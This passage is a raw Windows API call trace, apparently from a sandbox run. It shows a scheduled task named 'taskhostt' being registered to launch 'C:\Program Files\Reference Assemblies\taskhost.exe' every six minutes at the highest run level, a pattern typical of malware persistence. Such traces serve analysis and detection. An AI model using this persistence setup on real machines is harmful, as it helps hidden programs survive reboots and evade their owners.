GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcc70 [0143.603] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.603] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0143.603] lstrlenW (lpString="Fourth") returned 6 [0143.603] GetProcessHeap () returned 0x3c0000 [0143.603] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3dd640 [0143.604] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.604] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0143.604] lstrlenW (lpString="Last") returned 4 [0143.604] GetProcessHeap () returned 0x3c0000 [0143.604] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xa) returned 0x3dd660 [0143.604] lstrlenW (lpString="6") returned 1 [0143.604] _wtol (_String="6") returned 6 [0143.604] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.604] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0143.604] lstrlenW (lpString="First") returned 5 [0143.604] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.604] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0143.604] lstrlenW (lpString="Second") returned 6 [0143.604] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.604] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0143.604] lstrlenW (lpString="Third") returned 5 [0143.604] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.604] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0143.604] lstrlenW (lpString="Fourth") returned 6 [0143.604] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.604] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0143.604] lstrlenW (lpString="Last") returned 4 [0143.605] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c020, cchData=128 | out: lpLCData="0") returned 2 [0143.605] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.605] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0143.605] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5e0) returned 1 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd5e0) returned 0xc [0143.605] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5e0 | out: hHeap=0x3c0000) returned 1 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3dd5e0 [0143.605] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c040, cchData=128 | out: lpLCData="0") returned 2 [0143.605] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.605] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0143.605] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd600) returned 1 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd600) returned 0xe [0143.605] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd600 | out: hHeap=0x3c0000) returned 1 [0143.605] GetProcessHeap () returned 0x3c0000 [0143.605] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3dd600 [0143.605] GetLocalTime (in: lpSystemTime=0x21c270 | out: lpSystemTime=0x21c270*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x6, wMilliseconds=0x255)) [0143.606] lstrlenW (lpString="") returned 0 [0143.614] GetLocalTime (in: lpSystemTime=0x21cb28 | out: lpSystemTime=0x21cb28*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x6, wMilliseconds=0x264)) [0143.616] lstrlenW (lpString="") returned 0 [0143.616] lstrlenW (lpString="") returned 0 [0143.646] lstrlenW (lpString="") returned 0 [0143.646] lstrlenW (lpString="") returned 0 [0143.646] lstrlenW (lpString="6") returned 1 [0143.646] _wtol (_String="6") returned 6 [0143.646] lstrlenW (lpString="") returned 0 [0143.646] lstrlenW (lpString="") returned 0 [0143.646] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0143.792] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0143.851] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x21c8f0 | out: ppv=0x21c8f0*=0x197aa0) returned 0x0 [0143.860] TaskScheduler:ITaskService:Connect (This=0x197aa0, serverName=0x21c9d0*(varType=0x8, wReserved1=0x21, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x21c990*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x21c9b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21c970*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0143.912] TaskScheduler:IUnknown:AddRef (This=0x197aa0) returned 0x2 [0143.912] TaskScheduler:ITaskService:GetFolder (in: This=0x197aa0, Path=0x0, ppFolder=0x21ca88 | out: ppFolder=0x21ca88*=0x197cd0) returned 0x0 [0143.915] TaskScheduler:ITaskService:NewTask (in: This=0x197aa0, flags=0x0, ppDefinition=0x21ca80 | out: ppDefinition=0x21ca80*=0x197d20) returned 0x0 [0143.915] ITaskDefinition:get_Actions (in: This=0x197d20, ppActions=0x21ca00 | out: ppActions=0x21ca00*=0x197de0) returned 0x0 [0143.915] IActionCollection:Create (in: This=0x197de0, Type=0, ppAction=0x21ca20 | out: ppAction=0x21ca20*=0x196170) returned 0x0 [0143.915] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.915] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.915] lstrlenW (lpString=" ") returned 1 [0143.915] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0143.915] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0143.916] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.916] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0143.916] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.917] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0143.917] IUnknown:Release (This=0x196170) returned 0x1 [0143.917] IUnknown:Release (This=0x197de0) returned 0x1 [0143.917] ITaskDefinition:get_Triggers (in: This=0x197d20, ppTriggers=0x21c580 | out: ppTriggers=0x21c580*=0x197f20) returned 0x0 [0143.918] ITriggerCollection:Create (in: This=0x197f20, Type=1, ppTrigger=0x21c578 | out: ppTrigger=0x21c578*=0x1961e0) returned 0x0 [0143.918] lstrlenW (lpString="6") returned 1 [0143.918] _vsnwprintf (in: _Buffer=0x21c500, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x21c4f8 | out: _Buffer="PT6M") returned 4 [0143.918] ITrigger:get_Repetition (in: This=0x1961e0, ppRepeat=0x21c570 | out: ppRepeat=0x21c570*=0x196270) returned 0x0 [0143.918] IRepetitionPattern:put_Interval (This=0x196270, Interval="PT6M") returned 0x0 [0143.918] IUnknown:Release (This=0x196270) returned 0x1 [0143.918] _vsnwprintf (in: _Buffer=0x21c4c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x21c498 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0143.918] ITrigger:put_StartBoundary (This=0x1961e0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0143.919] lstrlenW (lpString="") returned 0 [0143.919] lstrlenW (lpString="") returned 0 [0143.919] lstrlenW (lpString="") returned 0 [0143.919] lstrlenW (lpString="") returned 0 [0143.919] IUnknown:Release (This=0x1961e0) returned 0x1 [0143.919] IUnknown:Release (This=0x197f20) returned 0x1 [0143.919] ITaskDefinition:get_Settings (in: This=0x197d20, ppSettings=0x21ca20 | out: ppSettings=0x21ca20*=0x195f50) returned 0x0 [0143.919] lstrlenW (lpString="") returned 0 [0143.919] IUnknown:Release (This=0x195f50) returned 0x1 [0143.919] GetLocalTime (in: lpSystemTime=0x21c8d8 | out: lpSystemTime=0x21c8d8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x6, wMilliseconds=0x39c)) [0143.919] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0143.920] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0143.920] GetUserNameW (in: lpBuffer=0x21c900, pcbBuffer=0x21c8e8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21c8e8) returned 1 [0143.920] ITaskDefinition:get_RegistrationInfo (in: This=0x197d20, ppRegistrationInfo=0x21c8d0 | out: ppRegistrationInfo=0x21c8d0*=0x197e60) returned 0x0 [0143.920] IRegistrationInfo:put_Author (This=0x197e60, Author="") returned 0x0 [0143.921] _vsnwprintf (in: _Buffer=0x21c900, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x21c898 | out: _Buffer="2022-08-06T02:19:06") returned 19 [0143.921] IRegistrationInfo:put_Date (This=0x197e60, Date="") returned 0x0 [0143.921] IUnknown:Release (This=0x197e60) returned 0x1 [0143.921] malloc (_Size=0x18) returned 0x197c60 [0143.921] free (_Block=0x197c60) [0143.921] lstrlenW (lpString="") returned 0 [0143.921] ITaskDefinition:get_Principal (in: This=0x197d20, ppPrincipal=0x21caf0 | out: ppPrincipal=0x21caf0*=0x1960c0) returned 0x0 [0143.921] IPrincipal:put_RunLevel (This=0x1960c0, RunLevel=1) returned 0x0 [0143.921] IUnknown:Release (This=0x1960c0) returned 0x1 [0143.921] malloc (_Size=0x18) returned 0x197c60 [0143.922] ITaskFolder:RegisterTaskDefinition (in: This=0x197cd0, Path="taskhostt", pDefinition=0x197d20, flags=6, UserId=0x21cb70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21cbb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21ea80, varVal2=0xfe), LogonType=3, sddl=0x21cb90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x21ca90 | out: ppTask=0x21ca90*=0x196430) returned 0x0 [0144.331] free (_Block=0x197c60) [0144.331] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.331] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0144.331] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0144.331] GetProcessHeap () returned 0x3c0000 [0144.331] GetProcessHeap () returned 0x3c0000 [0144.331] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd620) returned 1 [0144.331] GetProcessHeap () returned 0x3c0000 [0144.331] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd620) returned 0xc [0144.331] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd620 | out: hHeap=0x3c0000) returned 1 [0144.331] GetProcessHeap () returned 0x3c0000 [0144.331] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x82) returned 0x3f9d00 [0144.331] _vsnwprintf (in: _Buffer=0x21d1d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x21ca38 | out: _Buffer="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n") returned 71 [0144.331] _fileno (_File=0x7fefed02ab0) returned -2 [0144.332] _errno () returned 0x194bb0 [0144.332] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0144.332] SetLastError (dwErrCode=0x6) [0144.332] lstrlenW (lpString="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n") returned 71 [0144.332] GetConsoleOutputCP () returned 0x0 [0144.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0144.332] GetConsoleOutputCP () returned 0x0 [0144.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0144.332] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0144.332] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0144.332] IUnknown:Release (This=0x196430) returned 0x0 [0144.333] TaskScheduler:IUnknown:Release (This=0x197d20) returned 0x0 [0144.333] TaskScheduler:IUnknown:Release (This=0x197cd0) returned 0x0 [0144.333] TaskScheduler:IUnknown:Release (This=0x197aa0) returned 0x1 [0144.333] lstrlenW (lpString="") returned 0 [0144.333] lstrlenW (lpString="6") returned 1 [0144.333] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0144.333] GetProcessHeap () returned 0x3c0000 [0144.333] GetProcessHeap () returned 0x3c0000 [0144.333] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc390) returned 1 [0144.333] GetProcessHeap () returned 0x3c0000 [0144.333] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc390) returned 0x1fc [0144.333] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc390 | out: hHeap=0x3c0000) returned 1 [0144.333] GetProcessHeap () returned 0x3c0000 [0144.333] GetProcessHeap () returned 0x3c0000 [0144.333] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db9d0) returned 1 [0144.333] GetProcessHeap () returned 0x3c0000 [0144.333] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db9d0) returned 0x4 [0144.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db9d0 | out: hHeap=0x3c0000) returned 1 [0144.334] GetProcessHeap () returned 0x3c0000 [0144.334] GetProcessHeap () returned 0x3c0000 [0144.334] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd540) returned 1 [0144.334] GetProcessHeap () returned 0x3c0000 [0144.334] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd540) returned 0x16 [0144.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd540 | out: hHeap=0x3c0000) returned 1 [0144.339] GetProcessHeap () returned 0x3c0000 [0144.339] GetProcessHeap () returned 0x3c0000 [0144.339] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd520) returned 1 [0144.339] GetProcessHeap () returned 0x3c0000 [0144.339] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd520) returned 0x18 [0144.339] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd520 | out: hHeap=0x3c0000) returned 1 [0144.339] GetProcessHeap () returned 0x3c0000 [0144.339] GetProcessHeap () returned 0x3c0000 [0144.339] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdf0) returned 1 [0144.339] GetProcessHeap () returned 0x3c0000 [0144.339] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcdf0) returned 0x20 [0144.340] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdf0 | out: hHeap=0x3c0000) returned 1 [0144.340] GetProcessHeap () returned 0x3c0000 [0144.340] GetProcessHeap () returned 0x3c0000 [0144.340] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc030) returned 1 [0144.340] GetProcessHeap () returned 0x3c0000 [0144.340] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc030) returned 0xa0 [0144.340] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc030 | out: hHeap=0x3c0000) returned 1 [0144.340] GetProcessHeap () returned 0x3c0000 [0144.340] GetProcessHeap () returned 0x3c0000 [0144.340] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbab0) returned 1 [0144.340] GetProcessHeap () returned 0x3c0000 [0144.340] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dbab0) returned 0x18 [0144.340] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbab0 | out: hHeap=0x3c0000) returned 1 [0144.340] GetProcessHeap () returned 0x3c0000 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcb50) returned 1 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcb50) returned 0x20 [0144.341] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcb50 | out: hHeap=0x3c0000) returned 1 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc290) returned 1 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc290) returned 0x6a [0144.341] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc290 | out: hHeap=0x3c0000) returned 1 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd560) returned 1 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd560) returned 0x18 [0144.341] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd560 | out: hHeap=0x3c0000) returned 1 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcb20) returned 1 [0144.341] GetProcessHeap () returned 0x3c0000 [0144.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcb20) returned 0x20 [0144.342] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcb20 | out: hHeap=0x3c0000) returned 1 [0144.342] GetProcessHeap () returned 0x3c0000 [0144.342] GetProcessHeap () returned 0x3c0000 [0144.342] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3ddcd0) returned 1 [0144.342] GetProcessHeap () returned 0x3c0000 [0144.342] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3ddcd0) returned 0x6c [0144.342] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3ddcd0 | out: hHeap=0x3c0000) returned 1 [0144.342] GetProcessHeap () returned 0x3c0000 [0144.342] GetProcessHeap () returned 0x3c0000 [0144.342] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd500) returned 1 [0144.342] GetProcessHeap () returned 0x3c0000 [0144.342] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd500) returned 0x18 [0144.342] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd500 | out: hHeap=0x3c0000) returned 1 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcaf0) returned 1 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcaf0) returned 0x20 [0144.343] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcaf0 | out: hHeap=0x3c0000) returned 1 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc370) returned 1 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc370) returned 0xe [0144.343] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc370 | out: hHeap=0x3c0000) returned 1 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc350) returned 1 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc350) returned 0x18 [0144.343] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc350 | out: hHeap=0x3c0000) returned 1 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] GetProcessHeap () returned 0x3c0000 [0144.343] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5d80) returned 1 [0144.344] GetProcessHeap () returned 0x3c0000 [0144.344] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5d80) returned 0x20 [0144.344] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5d80 | out: hHeap=0x3c0000) returned 1 [0144.344] GetProcessHeap () returned 0x3c0000 [0144.344] GetProcessHeap () returned 0x3c0000 [0144.344] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbc30) returned 1 [0144.344] GetProcessHeap () returned 0x3c0000 [0144.344] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dbc30) returned 0x208 [0144.344] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbc30 | out: hHeap=0x3c0000) returned 1 [0144.344] GetProcessHeap () returned 0x3c0000 [0144.344] GetProcessHeap () returned 0x3c0000 [0144.344] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba90) returned 1 [0144.344] GetProcessHeap () returned 0x3c0000 [0144.345] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dba90) returned 0x18 [0144.345] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba90 | out: hHeap=0x3c0000) returned 1 [0144.345] GetProcessHeap () returned 0x3c0000 [0144.345] 